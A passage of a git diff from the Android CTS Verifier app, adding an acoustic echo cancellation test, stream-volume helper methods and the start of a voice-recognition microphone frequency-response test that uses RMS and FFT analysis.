+        }
+
+        public boolean updateRms(PipeShort pipe, int channelCount, int channel) {
+            if (mRunning) {
+                int samplesAvailable = pipe.availableToRead();
+                while (samplesAvailable >= mBlockSize) {
+                    pipe.read(mAudioShortArray, 0, mBlockSize);
+
+                    double rmsTempSum = 0;
+                    int count = 0;
+                    for (int i = channel; i < mBlockSize; i += channelCount) {
+                        float value = mAudioShortArray[i] / MAX_VAL;
+
+                        rmsTempSum += value * value;
+                        count++;
+                    }
+                    float rms = count > 0 ? (float)Math.sqrt(rmsTempSum / count) : 0f;
+
+                    double alpha = 0.9;
+                    double total_rms = rms * alpha + mRmsCurrent * (1.0f - alpha);
+                    mRmsCurrent = total_rms;
+
+                    samplesAvailable = pipe.availableToRead();
+                }
+                return true;
+            }
+            return false;
+        }
+    }
+
+    //compute Acoustic Coupling Factor
+    private double computeAcousticCouplingFactor(DspBufferDouble buffRmsPlayer,
+                                                 DspBufferDouble buffRmsRecorder,
+                                                 int firstShot, int lastShot) {
+        int len = Math.min(buffRmsPlayer.getSize(), buffRmsRecorder.getSize());
+
+        firstShot = Math.min(firstShot, 0);
+        lastShot = Math.min(lastShot, len -1);
+
+        int actualLen = lastShot - firstShot + 1;
+
+        double maxValue = 0;
+        if (actualLen > 0) {
+            DspBufferDouble rmsPlayerdB = new DspBufferDouble(actualLen);
+            DspBufferDouble rmsRecorderdB = new DspBufferDouble(actualLen);
+            DspBufferDouble crossCorr = new DspBufferDouble(actualLen);
+
+            for (int i = firstShot, index = 0; i <= lastShot; ++i, ++index) {
+                double valPlayerdB = Math.max(20 * Math.log10(buffRmsPlayer.mData[i]), -120);
+                rmsPlayerdB.setValue(index, valPlayerdB);
+                double valRecorderdB = Math.max(20 * Math.log10(buffRmsRecorder.mData[i]), -120);
+                rmsRecorderdB.setValue(index, valRecorderdB);
+            }
+
+            //cross correlation...
+            if (DspBufferMath.crossCorrelation(crossCorr, rmsPlayerdB, rmsRecorderdB) !=
+                    DspBufferMath.MATH_RESULT_SUCCESS) {
+                Log.v(TAG, "math error in cross correlation");
+            }
+
+            for (int i = 0; i < len; i++) {
+                if (Math.abs(crossCorr.mData[i]) > maxValue) {
+                    maxValue = Math.abs(crossCorr.mData[i]);
+                }
+            }
+        }
+        return maxValue;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.audio_aec_activity);
+
+        //
+        mLinearLayout = (LinearLayout)findViewById(R.id.audio_aec_test_layout);
+        mButtonMandatoryYes = (Button) findViewById(R.id.audio_aec_mandatory_yes);
+        mButtonMandatoryYes.setOnClickListener(this);
+        mButtonMandatoryNo = (Button) findViewById(R.id.audio_aec_mandatory_no);
+        mButtonMandatoryNo.setOnClickListener(this);
+        enableUILayout(mLinearLayout, false);
+
+        // Test
+        mButtonTest = (Button) findViewById(R.id.audio_aec_button_test);
+        mButtonTest.setOnClickListener(this);
+        mProgress = (ProgressBar) findViewById(R.id.audio_aec_test_progress_bar);
+        mResultTest = (TextView) findViewById(R.id.audio_aec_test_result);
+
+        showView(mProgress, false);
+
+        mSPlayer = new SoundPlayerObject(false, mBlockSizeSamples) {
+
+            @Override
+            public void periodicNotification(AudioTrack track) {
+                int channelCount = getChannelCount();
+                mRMSPlayer1.updateRms(mPipe, channelCount, 0); //Only updated if running
+                mRMSPlayer2.updateRms(mPipe, channelCount, 0);
+            }
+        };
+
+        mSRecorder = new SoundRecorderObject(mSamplingRate, mBlockSizeSamples,
+                mSelectedRecordSource) {
+            @Override
+            public void periodicNotification(AudioRecord recorder) {
+                mRMSRecorder1.updateRms(mPipe, 1, 0); //always 1 channel
+                mRMSRecorder2.updateRms(mPipe, 1, 0);
+            }
+        };
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_aec_test,
+                R.string.audio_aec_info, -1);
+    }
+
+    private void showView(View v, boolean show) {
+        v.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
+    }
+
+    @Override
+    public void onClick(View v) {
+        int id = v.getId();
+        switch (id) {
+            case R.id.audio_aec_button_test:
+                startTest();
+                break;
+            case R.id.audio_aec_mandatory_no:
+                enableUILayout(mLinearLayout,true);
+                mButtonMandatoryNo.setEnabled(false);
+                mButtonMandatoryYes.setEnabled(false);
+                mMandatory = false;
+                Log.v(TAG,"AEC marked as NOT mandatory");
+                break;
+            case R.id.audio_aec_mandatory_yes:
+                enableUILayout(mLinearLayout,true);
+                mButtonMandatoryNo.setEnabled(false);
+                mButtonMandatoryYes.setEnabled(false);
+                mMandatory = true;
+                Log.v(TAG,"AEC marked as mandatory");
+                break;
+
+        }
+    }
+
+    private void startTest() {
+
+        if (mTestThread != null && mTestThread.isAlive()) {
+            Log.v(TAG,"test Thread already running.");
+            return;
+        }
+        mTestThread = new Thread(new AudioTestRunner(TAG, TEST_AEC, mMessageHandler) {
+            public void run() {
+                super.run();
+
+                StringBuilder sb = new StringBuilder(); //test results strings
+                mTestAECPassed = false;
+                sendMessage(AudioTestRunner.TEST_MESSAGE,
+                        "Testing Recording with AEC");
+
+                //is AEC Available?
+                if (!AcousticEchoCanceler.isAvailable()) {
+                    String msg;
+                    if (mMandatory) {
+                        msg = "Error. AEC not available";
+                        sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
+                    } else {
+                        mTestAECPassed = true;
+                        msg = "Warning. AEC not implemented.";
+                        sendMessage(AudioTestRunner.TEST_ENDED_OK, msg);
+                    }
+                    recordTestResults(mMandatory, 0, 0, msg);
+                    return;
+                }
+
+                int playbackStreamType = AudioManager.STREAM_MUSIC;
+                int maxLevel = getMaxLevelForStream(playbackStreamType);
+                int desiredLevel = maxLevel - 1;
+                setLevelForStream(playbackStreamType, desiredLevel);
+
+                int currentLevel = getLevelForStream(playbackStreamType);
+                if (currentLevel != desiredLevel) {
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR,
+                            "Couldn't set level for STREAM_MUSIC. Expected " +
+                                    desiredLevel +" got: " + currentLevel);
+                    return;
+                }
+
+                //Step 1. With AEC (on by Default when using VOICE_COMMUNICATION audio source).
+                mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.speech);
+                mSRecorder.startRecording();
+
+                //get AEC
+                int audioSessionId = mSRecorder.getAudioSessionId();
+                if (mAec != null) {
+                    mAec.release();
+                    mAec = null;
+                }
+                try {
+                    mAec = AcousticEchoCanceler.create(audioSessionId);
+                } catch (Exception e) {
+                    mSRecorder.stopRecording();
+                    String msg = "Could not create AEC Effect. " + e.toString();
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
+                    recordTestResults(mMandatory, 0, 0, msg);
+                    return;
+                }
+
+                if (mAec == null) {
+                    mSRecorder.stopRecording();
+                    String msg = "Could not create AEC Effect (AEC Null)";
+                    sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
+                    recordTestResults(mMandatory,0, 0, msg);
+                    return;
+                }
+
+                if (!mAec.getEnabled()) {
+                    String msg = "AEC is not enabled by default.";
+                    if (mMandatory) {
+                        mSRecorder.stopRecording();
+                        sendMessage(AudioTestRunner.TEST_ENDED_ERROR, msg);
+                        recordTestResults(mMandatory,0, 0, msg);
+                        return;
+                    } else {
+                        sb.append("Warning. " + msg + "\n");
+                    }
+                }
+
+                mRMSPlayer1.reset();
+                mRMSRecorder1.reset();
+                mSPlayer.play(true);
+                mRMSPlayer1.setRunning(true);
+                mRMSRecorder1.setRunning(true);
+
+                for (int s = 0; s < SHOT_COUNT; s++) {
+                    sleep(SHOT_FREQUENCY_MS);
+                    mRMSRecorder1.captureShot();
+                    mRMSPlayer1.captureShot();
+
+                    sendMessage(AudioTestRunner.TEST_MESSAGE,
+                            String.format("AEC ON. Rec: %.2f dB, Play: %.2f dB",
+                                    20 * Math.log10(mRMSRecorder1.getRmsCurrent()),
+                                    20 * Math.log10(mRMSPlayer1.getRmsCurrent())));
+                }
+
+                mSPlayer.play(false);
+                mRMSPlayer1.setRunning(false);
+                mRMSRecorder1.setRunning(false);
+
+                int lastShot = SHOT_COUNT - 1;
+                int firstShot = SHOT_COUNT - SHOT_COUNT_CORRELATION;
+
+                double maxAEC = computeAcousticCouplingFactor(mRMSPlayer1.getRmsSnapshots(),
+                        mRMSRecorder1.getRmsSnapshots(), firstShot, lastShot);
+                sendMessage(AudioTestRunner.TEST_MESSAGE,
+                        String.format("AEC On: Acoustic Coupling: %.2f", maxAEC));
+
+                //Wait
+                sleep(1000);
+                sendMessage(AudioTestRunner.TEST_MESSAGE, "Testing Recording AEC OFF");
+
+                //Step 2. Turn off the AEC
+                mSPlayer.setSoundWithResId(getApplicationContext(),
+                        R.raw.speech);
+                mAec.setEnabled(false);
+
+                // mSRecorder.startRecording();
+                mRMSPlayer2.reset();
+                mRMSRecorder2.reset();
+                mSPlayer.play(true);
+                mRMSPlayer2.setRunning(true);
+                mRMSRecorder2.setRunning(true);
+
+                for (int s = 0; s < SHOT_COUNT; s++) {
+                    sleep(SHOT_FREQUENCY_MS);
+                    mRMSRecorder2.captureShot();
+                    mRMSPlayer2.captureShot();
+
+                    sendMessage(AudioTestRunner.TEST_MESSAGE,
+                            String.format("AEC OFF. Rec: %.2f dB, Play: %.2f dB",
+                                    20 * Math.log10(mRMSRecorder2.getRmsCurrent()),
+                                    20 * Math.log10(mRMSPlayer2.getRmsCurrent())));
+                }
+
+                mSRecorder.stopRecording();
+                mSPlayer.play(false);
+                mRMSPlayer2.setRunning(false);
+                mRMSRecorder2.setRunning(false);
+
+                double maxNoAEC = computeAcousticCouplingFactor(mRMSPlayer2.getRmsSnapshots(),
+                        mRMSRecorder2.getRmsSnapshots(), firstShot, lastShot);
+                sendMessage(AudioTestRunner.TEST_MESSAGE, String.format("AEC Off: Corr: %.2f",
+                        maxNoAEC));
+
+                //test decision
+                boolean testPassed = true;
+
+                sb.append(String.format(" Acoustic Coupling AEC ON: %.2f <= %.2f : ", maxAEC,
+                        TEST_THRESHOLD_AEC_ON));
+                if (maxAEC <= TEST_THRESHOLD_AEC_ON) {
+                    sb.append("SUCCESS\n");
+                } else {
+                    sb.append("FAILED\n");
+                    testPassed = false;
+                }
+
+                sb.append(String.format(" Acoustic Coupling AEC OFF: %.2f >= %.2f : ", maxNoAEC,
+                        TEST_THRESHOLD_AEC_OFF));
+                if (maxNoAEC >= TEST_THRESHOLD_AEC_OFF) {
+                    sb.append("SUCCESS\n");
+                } else {
+                    sb.append("FAILED\n");
+                    testPassed = false;
+                }
+
+                mTestAECPassed = testPassed;
+
+                if (mTestAECPassed) {
+                    sb.append("All Tests Passed");
+                } else {
+                    if (mMandatory) {
+                        sb.append("Test failed. Please fix issues and try again");
+                    } else {
+                        sb.append("Warning. Acoustic Coupling Levels did not pass criteria");
+                        mTestAECPassed = true;
+                    }
+                }
+
+                recordTestResults(mMandatory, maxAEC, maxNoAEC, sb.toString());
+
+                //compute results.
+                sendMessage(AudioTestRunner.TEST_ENDED_OK, "\n" + sb.toString());
+            }
+        });
+        mTestThread.start();
+    }
+
+    private void recordTestResults(boolean aecMandatory, double maxAEC, double maxNoAEC,
+                                   String msg) {
+
+        getReportLog().addValue("AEC_mandatory",
+                aecMandatory,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        getReportLog().addValue("max_with_AEC",
+                maxAEC,
+                ResultType.LOWER_BETTER,
+                ResultUnit.SCORE);
+
+        getReportLog().addValue("max_without_AEC",
+                maxNoAEC,
+                ResultType.HIGHER_BETTER,
+                ResultUnit.SCORE);
+
+        getReportLog().addValue("result_string",
+                msg,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+    }
+
+    //TestMessageHandler
+    private AudioTestRunner.AudioTestRunnerMessageHandler mMessageHandler =
+            new AudioTestRunner.AudioTestRunnerMessageHandler() {
+        @Override
+        public void testStarted(int testId, String str) {
+            super.testStarted(testId, str);
+            Log.v(TAG, "Test Started! " + testId + " str:"+str);
+            showView(mProgress, true);
+            mTestAECPassed = false;
+            getPassButton().setEnabled(false);
+            mResultTest.setText("test in progress..");
+        }
+
+        @Override
+        public void testMessage(int testId, String str) {
+            super.testMessage(testId, str);
+            Log.v(TAG, "Message TestId: " + testId + " str:"+str);
+            mResultTest.setText("test in progress.. " + str);
+        }
+
+        @Override
+        public void testEndedOk(int testId, String str) {
+            super.testEndedOk(testId, str);
+            Log.v(TAG, "Test EndedOk. " + testId + " str:"+str);
+            showView(mProgress, false);
+            mResultTest.setText("test completed. " + str);
+            if (mTestAECPassed) {
+                getPassButton().setEnabled(true);;
+            }
+        }
+
+        @Override
+        public void testEndedError(int testId, String str) {
+            super.testEndedError(testId, str);
+            Log.v(TAG, "Test EndedError. " + testId + " str:"+str);
+            showView(mProgress, false);
+            mResultTest.setText("test failed. " + str);
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
index 1893ac2..3b97e37 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
@@ -66,7 +66,7 @@
 
     public void testMaxLevel() {
         AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        int currentLevel =  am.getStreamVolume(AudioManager.STREAM_MUSIC);
+        int currentLevel = am.getStreamVolume(AudioManager.STREAM_MUSIC);
         Log.i(TAG, String.format("Max level: %d curLevel: %d", mMaxLevel, currentLevel));
         if (currentLevel != mMaxLevel) {
             new AlertDialog.Builder(this)
@@ -77,4 +77,38 @@
         }
     }
 
+    public int getMaxLevelForStream(int streamType) {
+        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+        if (am != null) {
+            return am.getStreamMaxVolume(streamType);
+        }
+        return -1;
+    }
+
+    public void setLevelForStream(int streamType, int level) {
+        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+        if (am != null) {
+            try {
+                am.setStreamVolume(streamType, level, 0);
+            } catch (Exception e) {
+                Log.e(TAG, "Error setting stream volume: ", e);
+            }
+        }
+    }
+
+    public int getLevelForStream(int streamType) {
+        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
+        if (am != null) {
+            return am.getStreamVolume(streamType);
+        }
+        return -1;
+    }
+
+    public void enableUILayout(LinearLayout layout, boolean enable) {
+        for (int i = 0; i < layout.getChildCount(); i++) {
+            View view = layout.getChildAt(i);
+            view.setEnabled(enable);
+        }
+    }
+
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
new file mode 100644
index 0000000..4017973
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
@@ -0,0 +1,963 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.audio.wavelib.*;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import android.content.Context;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.TextView;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+
+/**
+ * Tests Audio built in Microphone response for Voice Recognition audio source feature.
+ */
+public class AudioFrequencyVoiceRecognitionActivity extends AudioFrequencyActivity {
+    private static final String TAG = "VoiceRecognition";
+
+    private static final int TEST_STARTED = 900;
+    private static final int TEST_MESSAGE = 903;
+    private static final int TEST_ENDED = 904;
+    private static final int TEST_ENDED_ERROR = 905;
+    private static final double MIN_FRACTION_POINTS_IN_BAND = 0.5;
+
+    private static final double TONE_RMS_EXPECTED = -22.35; //VOICE_RECOGNITION levels
+    private static final double TONE_RMS_MAX_ERROR = 3.0;
+    private static final double RMS_SMOOTHING_PARAM = 0.9;
+
+    private static final double MAX_VAL = Math.pow(2, 15);
+
+    private static final int SOURCE_TONE = 0;
+    private static final int SOURCE_NOISE = 1;
+
+    private static final int TEST_NONE = -1;
+    private static final int TEST_TONE = 0;
+    private static final int TEST_NOISE = 1;
+    private static final int TEST_USB_BACKGROUND = 2;
+    private static final int TEST_USB_NOISE = 3;
+    private static final int TEST_COUNT = 4;
+
+    private static final int TEST_DURATION_DEFAULT_MS = 2000;
+    private static final int TEST_DURATION_TONE_MS = TEST_DURATION_DEFAULT_MS;
+    private static final int TEST_DURATION_NOISE_MS = TEST_DURATION_DEFAULT_MS;
+    private static final int TEST_DURATION_USB_BACKGROUND_MS = TEST_DURATION_DEFAULT_MS;
+    private static final int TEST_DURATION_USB_NOISE_MS = TEST_DURATION_DEFAULT_MS;
+
+    private static final int BLOCK_SIZE_SAMPLES = 4096;
+    private static final int SAMPLING_RATE = 48000;
+    private static final int RECORD_SOURCE = MediaRecorder.AudioSource.VOICE_RECOGNITION;
+
+    private static final int BANDS_MIC = 3;
+    private static final int BANDS_TONE = 3;
+    private static final int BANDS_BACKGROUND = 3;
+
+    private int mCurrentTest = TEST_NONE;
+    private boolean mTestsDone[] = new boolean[TEST_COUNT];
+    final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+    private Context mContext;
+
+    private LinearLayout mLayoutTestTone;
+    private Button mButtonTestTone;
+    private ProgressBar mProgressTone;
+    private TextView mResultTestTone;
+    private Button mButtonPlayTone;
+
+    private LinearLayout mLayoutTestNoise;
+    private Button mButtonTestNoise;
+    private ProgressBar mProgressNoise;
+    private TextView mResultTestNoise;
+    private Button mButtonPlayNoise;
+
+    private LinearLayout mLayoutTestUsbBackground;
+    private Button mButtonTestUsbBackground;
+    private ProgressBar mProgressUsbBackground;
+    private TextView mResultTestUsbBackground;
+
+    private LinearLayout mLayoutTestUsbNoise;
+    private Button mButtonTestUsbNoise;
+    private ProgressBar mProgressUsbNoise;
+    private TextView mResultTestUsbNoise;
+    private Button mButtonPlayUsbNoise;
+
+    private TextView mGlobalResultText;
+
+    private short[] mAudioShortArray2;
+
+    private SoundPlayerObject mSPlayer;
+    private SoundRecorderObject mSRecorder;
+
+    private DspBufferComplex mC;
+    private DspBufferDouble mData;
+
+    private DspWindow mWindow;
+    private DspFftServer mFftServer;
+    private VectorAverage mFreqAverageTone = new VectorAverage();
+    private VectorAverage mFreqAverageNoise = new VectorAverage();
+    private VectorAverage mFreqAverageUsbBackground = new VectorAverage();
+    private VectorAverage mFreqAverageUsbNoise = new VectorAverage();
+
+    //RMS for tone:
+    private double mRMS;
+    private double mRMSMax;
+
+    private double mRMSTone;
+    private double mRMSMaxTone;
+
+    private AudioBandSpecs[] mBandSpecsMic = new AudioBandSpecs[BANDS_MIC];
+    private AudioBandSpecs[] mBandSpecsTone = new AudioBandSpecs[BANDS_TONE];
+    private AudioBandSpecs[] mBandSpecsBack = new AudioBandSpecs[BANDS_BACKGROUND];
+    private Results mResultsMic;
+    private Results mResultsTone;
+    private Results mResultsBack;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.audio_frequency_voice_recognition_activity);
+        mContext = this;
+
+        mSPlayer = new SoundPlayerObject();
+        playerSetSource(SOURCE_TONE);
+
+        mSRecorder = new SoundRecorderObject(SAMPLING_RATE, BLOCK_SIZE_SAMPLES,
+                RECORD_SOURCE) {
+            @Override
+            public void periodicNotification(AudioRecord recorder) {
+
+                int samplesAvailable = mPipe.availableToRead();
+                int samplesNeeded = BLOCK_SIZE_SAMPLES;
+                if (samplesAvailable >= samplesNeeded) {
+                    mPipe.read(mAudioShortArray2, 0, samplesNeeded);
+
+                    //compute
+                    double maxabs = 0;
+                    int i;
+                    double rmsTempSum = 0;
+
+                    for (i = 0; i < samplesNeeded; i++) {
+                        double value = mAudioShortArray2[i] / MAX_VAL;
+                        double valueabs = Math.abs(value);
+
+                        if (valueabs > maxabs) {
+                            maxabs = valueabs;
+                        }
+
+                        rmsTempSum += value * value;
+                        mData.mData[i] = value;
+                    }
+                    double rms = Math.sqrt(rmsTempSum / samplesNeeded);
+
+                    double total_rms = rms * RMS_SMOOTHING_PARAM + mRMS * (1 - RMS_SMOOTHING_PARAM);
+                    mRMS = total_rms;
+                    if (mRMS > mRMSMax) {
+                        mRMSMax = mRMS;
+                    }
+
+                    //for the current frame, compute FFT and send to the viewer.
+                    //apply window and pack as complex for now.
+                    DspBufferMath.mult(mData, mData, mWindow.mBuffer);
+                    DspBufferMath.set(mC, mData);
+                    mFftServer.fft(mC, 1);
+
+                    double[] magnitude = new double[BLOCK_SIZE_SAMPLES / 2];
+                    for (i = 0; i < BLOCK_SIZE_SAMPLES / 2; i++) {
+                        magnitude[i] = Math.sqrt(mC.mReal[i] * mC.mReal[i] +
+                                mC.mImag[i] * mC.mImag[i]);
+                    }
+
+                    switch (mCurrentTest) {
+                        case TEST_TONE: {
+                            mFreqAverageTone.setData(magnitude, false);
+                            //Update realtime info on screen
+                            mRMSTone = mRMS;
+                            mRMSMaxTone = mRMSMax;
+                            showToneRMS();
+                        }
+                        break;
+                        case TEST_NOISE:
+                            mFreqAverageNoise.setData(magnitude, false);
+                            break;
+                        case TEST_USB_BACKGROUND:
+                            mFreqAverageUsbBackground.setData(magnitude, false);
+                            break;
+                        case TEST_USB_NOISE:
+                            mFreqAverageUsbNoise.setData(magnitude, false);
+                            break;
+                    }
+                }
+            }
+
+            @Override
+            public void markerReached(AudioRecord track) {
+
+            }
+        };
+
+        // Test tone
+        mLayoutTestTone = (LinearLayout) findViewById(R.id.vr_layout_test_tone);
+        mButtonTestTone = (Button) findViewById(R.id.vr_button_test_tone);
+        mButtonTestTone.setOnClickListener(mBtnClickListener);
+        mProgressTone = (ProgressBar) findViewById(R.id.vr_test_tone_progress_bar);
+        mResultTestTone = (TextView) findViewById(R.id.vr_test_tone_result);
+        mButtonPlayTone = (Button) findViewById(R.id.vr_button_play_tone);
+        mButtonPlayTone.setOnClickListener(mBtnClickListener);
+        showWait(mProgressTone, false);
+
+        //Test Noise
+        mLayoutTestNoise = (LinearLayout) findViewById(R.id.vr_layout_test_noise);
+        mButtonTestNoise = (Button) findViewById(R.id.vr_button_test_noise);
+        mButtonTestNoise.setOnClickListener(mBtnClickListener);
+        mProgressNoise = (ProgressBar) findViewById(R.id.vr_test_noise_progress_bar);
+        mResultTestNoise = (TextView) findViewById(R.id.vr_test_noise_result);
+        mButtonPlayNoise = (Button) findViewById(R.id.vr_button_play_noise);
+        mButtonPlayNoise.setOnClickListener(mBtnClickListener);
+        showWait(mProgressNoise, false);
+
+        //USB Background
+        mLayoutTestUsbBackground = (LinearLayout)
+                findViewById(R.id.vr_layout_test_usb_background);
+        mButtonTestUsbBackground = (Button) findViewById(R.id.vr_button_test_usb_background);
+        mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
+        mProgressUsbBackground = (ProgressBar)
+                findViewById(R.id.vr_test_usb_background_progress_bar);
+        mResultTestUsbBackground = (TextView)
+                findViewById(R.id.vr_test_usb_background_result);
+        showWait(mProgressUsbBackground, false);
+
+        mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.vr_layout_test_usb_noise);
+        mButtonTestUsbNoise = (Button) findViewById(R.id.vr_button_test_usb_noise);
+        mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
+        mProgressUsbNoise = (ProgressBar)findViewById(R.id.vr_test_usb_noise_progress_bar);
+        mResultTestUsbNoise = (TextView) findViewById(R.id.vr_test_usb_noise_result);
+        mButtonPlayUsbNoise = (Button) findViewById(R.id.vr_button_play_usb_noise);
+        mButtonPlayUsbNoise.setOnClickListener(mBtnClickListener);
+        showWait(mProgressUsbNoise, false);
+
+        setButtonPlayStatus(-1);
+        mGlobalResultText = (TextView) findViewById(R.id.vr_test_global_result);
+
+        //Init FFT stuff
+        mAudioShortArray2 = new short[BLOCK_SIZE_SAMPLES *2];
+        mData = new DspBufferDouble(BLOCK_SIZE_SAMPLES);
+        mC = new DspBufferComplex(BLOCK_SIZE_SAMPLES);
+        mFftServer = new DspFftServer(BLOCK_SIZE_SAMPLES);
+
+        int overlap = BLOCK_SIZE_SAMPLES / 2;
+
+        mWindow = new DspWindow(DspWindow.WINDOW_HANNING, BLOCK_SIZE_SAMPLES, overlap);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_frequency_voice_recognition_test,
+                R.string.audio_frequency_voice_recognition_info, -1);
+
+        //Init bands for Mic test
+        mBandSpecsMic[0] = new AudioBandSpecs(
+                5, 100,          /* frequency start,stop */
+                20.0, -20.0,     /* start top,bottom value */
+                20.0, -20.0      /* stop top,bottom value */);
+
+        mBandSpecsMic[1] = new AudioBandSpecs(
+                100, 4000,       /* frequency start,stop */
+                6.0, -6.0,     /* start top,bottom value */
+                6.0, -6.0      /* stop top,bottom value */);
+
+        mBandSpecsMic[2] = new AudioBandSpecs(
+                4000, 20000,     /* frequency start,stop */
+                30.0, -30.0,     /* start top,bottom value */
+                30.0, -30.0      /* stop top,bottom value */);
+
+        //Init bands for Tone test
+        mBandSpecsTone[0] = new AudioBandSpecs(
+                5, 900,          /* frequency start,stop */
+                -10.0, -100.0,     /* start top,bottom value */
+                -10.0, -100.0      /* stop top,bottom value */);
+
+        mBandSpecsTone[1] = new AudioBandSpecs(
+                900, 1100,       /* frequency start,stop */
+                10.0, -50.0,     /* start top,bottom value */
+                10.0, -10.0      /* stop top,bottom value */);
+
+        mBandSpecsTone[2] = new AudioBandSpecs(
+                1100, 20000,     /* frequency start,stop */
+                -30.0, -120.0,     /* start top,bottom value */
+                -30.0, -120.0      /* stop top,bottom value */);
+
+      //Init bands for Background test
+        mBandSpecsBack[0] = new AudioBandSpecs(
+                5, 100,          /* frequency start,stop */
+                10.0, -120.0,     /* start top,bottom value */
+                -10.0, -120.0      /* stop top,bottom value */);
+
+        mBandSpecsBack[1] = new AudioBandSpecs(
+                100, 7000,       /* frequency start,stop */
+                -10.0, -120.0,     /* start top,bottom value */
+                -50.0, -120.0      /* stop top,bottom value */);
+
+        mBandSpecsBack[2] = new AudioBandSpecs(
+                7000, 20000,     /* frequency start,stop */
+                -50.0, -120.0,     /* start top,bottom value */
+                -50.0, -120.0      /* stop top,bottom value */);
+
+        mResultsMic = new Results("mic_response", BANDS_MIC);
+        mResultsTone = new Results("tone_response", BANDS_TONE);
+        mResultsBack = new Results("background_response", BANDS_BACKGROUND);
+    }
+
+    private void playerToggleButton(int buttonId, int sourceId) {
+        if (playerIsPlaying()) {
+            playerStopAll();
+        } else {
+            playerSetSource(sourceId);
+            playerTransport(true);
+            setButtonPlayStatus(buttonId);
+        }
+    }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            int id = v.getId();
+            switch (id) {
+            case R.id.vr_button_test_tone:
+                startTest(TEST_TONE);
+                break;
+            case R.id.vr_button_play_tone:
+                playerToggleButton(id, SOURCE_TONE);
+                break;
+            case R.id.vr_button_test_noise:
+                startTest(TEST_NOISE);
+                break;
+            case R.id.vr_button_play_noise:
+                playerToggleButton(id, SOURCE_NOISE);
+                break;
+            case R.id.vr_button_test_usb_background:
+                startTest(TEST_USB_BACKGROUND);
+                break;
+            case R.id.vr_button_test_usb_noise:
+                startTest(TEST_USB_NOISE);
+                break;
+            case R.id.vr_button_play_usb_noise:
+                playerToggleButton(id, SOURCE_NOISE);
+                break;
+            }
+        }
+    }
+
+    private void setButtonPlayStatus(int playResId) {
+        String play = getResources().getText(R.string.af_button_play).toString();
+        String stop = getResources().getText(R.string.af_button_stop).toString();
+
+        mButtonPlayTone.setText(playResId == R.id.vr_button_play_tone ? stop : play);
+        mButtonPlayNoise.setText(playResId == R.id.vr_button_play_noise ? stop : play);
+        mButtonPlayUsbNoise.setText(playResId ==
+                R.id.vr_button_play_usb_noise ? stop : play);
+    }
+
+    private void playerSetSource(int sourceIndex) {
+        switch (sourceIndex) {
+            case SOURCE_TONE:
+                mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.onekhztone);
+                break;
+            default:
+            case SOURCE_NOISE:
+                mSPlayer.setSoundWithResId(getApplicationContext(),
+                        R.raw.stereo_mono_white_noise_48);
+                break;
+        }
+    }
+
+    private void playerTransport(boolean play) {
+        if (!mSPlayer.isAlive()) {
+            mSPlayer.start();
+        }
+        mSPlayer.play(play);
+    }
+
+    private boolean playerIsPlaying() {
+       return mSPlayer.isPlaying();
+    }
+
+    private void playerStopAll() {
+        if (mSPlayer.isAlive() && mSPlayer.isPlaying()) {
+            mSPlayer.play(false);
+            setButtonPlayStatus(-1);
+        }
+    }
+
+    /**
+     * enable test ui elements
+     */
+    private void enableLayout(LinearLayout layout, boolean enable) {
+        for (int i = 0; i < layout.getChildCount(); i++) {
+            View view = layout.getChildAt(i);
+            view.setEnabled(enable);
+        }
+    }
+
+    private void showWait(ProgressBar pb, boolean show) {
+        pb.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
+    }
+
